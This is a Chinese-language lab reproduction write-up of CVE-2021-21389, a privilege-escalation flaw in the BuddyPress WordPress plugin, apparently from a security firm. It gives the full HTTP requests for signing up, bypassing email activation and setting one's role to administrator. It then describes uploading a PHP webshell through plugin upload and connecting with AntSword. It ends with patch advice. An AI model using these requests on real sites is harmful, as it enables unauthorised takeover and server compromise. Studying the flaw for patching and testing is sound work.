CVE-2021-21389 WordPress 越权漏洞

 

 

0x01漏洞简述

 

 

在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。

 

 

0x02知识扩展

 

 

BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。

 

 

0x03风险等级

 

 

漏洞的评定如下:

评定方式     等级

威胁等级     严重

响面         广泛

 

 

0x04影响版本

 

 

5.0.0 <BuddyPress< 7.2.1

 

 

0x05漏洞环境搭建

 

 

所需系统环境及配置信息

攻击机

操作系统:win11

IP:172.16.16.57

靶机

操作系统:centos 7

IP:192.168.182.129

安装步骤

1、docker拉取靶场

拉取镜像:

docker pull hoangkien1020/buddypress:cve202121389

运行容器(映射端口:80:80):

docker run -p 80:80 -d hoangkien1020/buddypress:cve202121389

2、访问地址:

192.168.182.129

访问成功

 

 

0x06漏洞验证

 

 

所需工具:

  • BurpSuite

  • 蚁剑

利用步骤(getshell):

1、注册普通权限账号。BurpSuite里的Reponse模块直接发送以下数据包即可注册。

  • POST /wp-json/buddypress/v1/signup HTTP/1.1
  • Host: 192.168.182.129
  • User-Agent: python-requests/2.21.0
  • Accept-Encoding: gzip, deflate
  • Accept: */*
  • Connection: close
  • Content-Type: application/json; charset=UTF-8
  • Content-Length: 92
  •  
  • {"user_login": "test", "user_email": "1@1.com", "user_name": "test", "password": "123456"}

箭头处是获取的activation_key

2、绕过邮箱验证并登陆。

获取的activation_key,构造发包绕过邮箱验证。

  • PUT /wp-json/buddypress/v1/signup/activate/L8kRnJK74xoWtP1WrBBcwky2wh63uoOq HTTP/1.1
  • Host: 192.168.182.129User-Agent: python-requests/2.21.0
  • Accept-Encoding: gzip, deflate
  • Accept: */*
  • Connection: close
  • Content-Length: 90
  •  
  • {"user_login": "test", "user_email": "1@1.com", "user_name": "test", "password": "123456"}

红线处改为自己刚获取的activation_key值

登陆成功

3、新建分组,填写Details后,一直默认点击下一步。

4、获取X-WP-Nonce的值和cookie。创建完成后点击Manage-->Members。

最后抓取Ban的数据包,获取X-WP-Nonce的值和cookie。

5、构造提权数据包

POST /wp-json/buddypress/v1/members/me HTTP/1.1
Host: 192.168.182.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-WP-Nonce: 7f87114ef0
Content-Type: application/json; charset=UTF-8
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp-settings-2=mfold%3Df; wp-settings-time-2=1657862038; wordpress_logged_in_46b90fcc7227bd0ede78180769b44ae6=test%7C1658044863%7CS2fgZHCsOuOc34jEWQT4CmFDEqESIUNDegWrAL7eRf6%7C1c1df5c4051bedb3a14c6326ba10421b40ee9bc4b67f63d492fac6a7b4a4efa2
Content-Length: 26

{"roles": "administrator"}

把红框数值改为自己提取的X-WP-Nonce的值和cookie。然后发包。

此时我们的权限就变成管理员了

6、通过上传插件getshell

上传一句话(注意红框选择全部文件),提示无法安装不用管。

 

 

7、蚁剑链接

地址为:

/wp-content/uploads/2022/07/a.php(上传的年月)
http://192.168.182.129/wp-content/uploads/2022/07/a.php

 

 

0x07修复建议

 

目前厂商已发布升级补丁以修复漏洞或直接更新到最新版本,补丁获取链接:

  • https://buddypress.org/2021/03/buddypress-7-2-1-security-release/

 

 

0x08参考链接

 

 

​​​​​​​https://blog.csdn.net/xiaobai_20190815/article/details/124704353

  • https://vulfocus.cn/#/dashboard?image_id=79dd78bd-bf26-4995-a3ba-62f3dd9a8548
  •  

 

如果您遇到网络安全问题

欢迎致电:0991-8156363

或发送至:sudo@xjsec.cn

新疆海狼科技,您身边的网络安全助理